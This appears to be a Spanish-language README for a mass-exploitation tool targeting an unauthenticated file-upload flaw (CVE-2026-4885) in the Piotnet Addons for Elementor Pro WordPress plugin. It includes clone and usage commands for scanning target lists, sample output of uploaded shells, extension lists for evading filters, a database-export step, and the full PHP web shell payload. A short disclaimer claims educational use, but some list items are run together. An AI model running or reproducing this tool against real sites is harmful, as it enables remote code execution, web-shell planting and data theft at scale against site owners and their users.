
Piotnet Addons for Elementor Pro <= 7.1.70 - Subida de archivos arbitraria no autenticada mediante la carga de archivos del formulario
Carga arbitraria de archivos no autenticada que conduce a la ejecución remota de código (RCE) en Piotnet Addons for Elementor Pro ≤ 7.1.70.
Esta herramienta está diseñada para la explotación masiva – proporcione una lista de objetivos y automáticamente:
post_id, form_id y el nombre correcto del campo de carga.phtml, .php3, .php4, .phps, .pht, .php2) para evadir filtros débilespafe_export_databaseLogic_Internet) y guardar la URL en shells.txt⚠️ Descargo de responsabilidad
Esta herramienta es solo para pruebas de seguridad educativas y autorizadas.
El uso no autorizado contra sistemas que no posee es ilegal.Puede ver más descargos de responsabilidad en la portada de Jenderal92. Puede consultarlo AQUÍ !!!
data-pafe-form-builder-field-name, data-elementor-id, etc.)https:// si falta/contact, /apply, /quote, /book-appointment, …)wp-content/uploads/piotnet-addons-for-elementor/ como con rutas raíz directasrequestspip install requests
Instalación
git clone https://github.com/Jenderal92/CVE-2026-4885.git
cd CVE-2026-4885
Uso
Cree un archivo llamado targets.txt (o cualquier nombre) con una URL por línea:
https://example1.com
example2.com
http://vulnerable-site.org
python2 CVE-2026-4885.py targets.txt
El script:
· Mostrará el progreso de cada objetivo · Guardará las URL de shell exitosas en shells.txt
Ejemplo de salida
[*] Loaded built-in shell (598 bytes)
[*] scanning 25 pages...
[+] found form at https://target.com/contact | post_id=13 form_id=fa2c60e field=file
[*] post_id=13 form_id=fa2c60e field=file
[*] trying .phtml
[+] uploaded .phtml
[+] shell URL: https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
[+] SHELL UPLOADED -> https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
Opciones de línea de comandos (personalizables en el script)
Variable Descripción Por defecto TIMEOUT Tiempo de espera de la solicitud HTTP 10 segundos MAX_THREADS Número de hilos concurrentes 20 OUTPUT_FILE Dónde guardar las URL de shell exitosas shells.txt EXT_LIST Extensiones de archivo a probar .phtml, .php3, .php4, .phps, .pht, .php2
Puede cambiarlas editando la parte superior del script.
Carga útil del shell
El shell integrado es:
GIF89a;
<?php
echo 'Logic_Internet'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '<center> <form method="post" target="_self" enctype="multipart/form-data"> <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" /> </form> </center>'.'<br>';
if (!empty ($_FILES['uploads'])) {
move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
Echo "<script>alert('upload Done');</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>
· Muestra información del servidor, el directorio de trabajo actual y un formulario de carga de archivos. · Puede reemplazarse con cualquier otro código PHP (solo cambie SHELL_CODE en el script).
Cómo funciona
Solución de problemas
UnicodeEncodeError en Windows
El script ya incluye una función safe_unicode() que maneja caracteres no ASCII. Si aún ve errores, asegúrese de que su terminal admita UTF‑8:
chcp 65001
No se encontró formulario / Todas las extensiones fallan
· El objetivo puede estar parcheado o no usar Piotnet Addons. · Intente aumentar TIMEOUT o MAX_THREADS. · Verifique manualmente que el plugin esté realmente instalado.
La filtración falla pero la carga tuvo éxito
· El endpoint de pafe_export_database podría estar deshabilitado o protegido. · Intente acceder a /wp-admin/admin-ajax.php?action=pafe_export_database manualmente en un navegador para ver si es accesible.
Uso legal y ético
· Utilice esta herramienta solo en sistemas sobre los que tenga permiso por escrito para realizar pruebas. · El autor no es responsable de ningún uso indebido o daño causado. · Respete todas las leyes aplicables.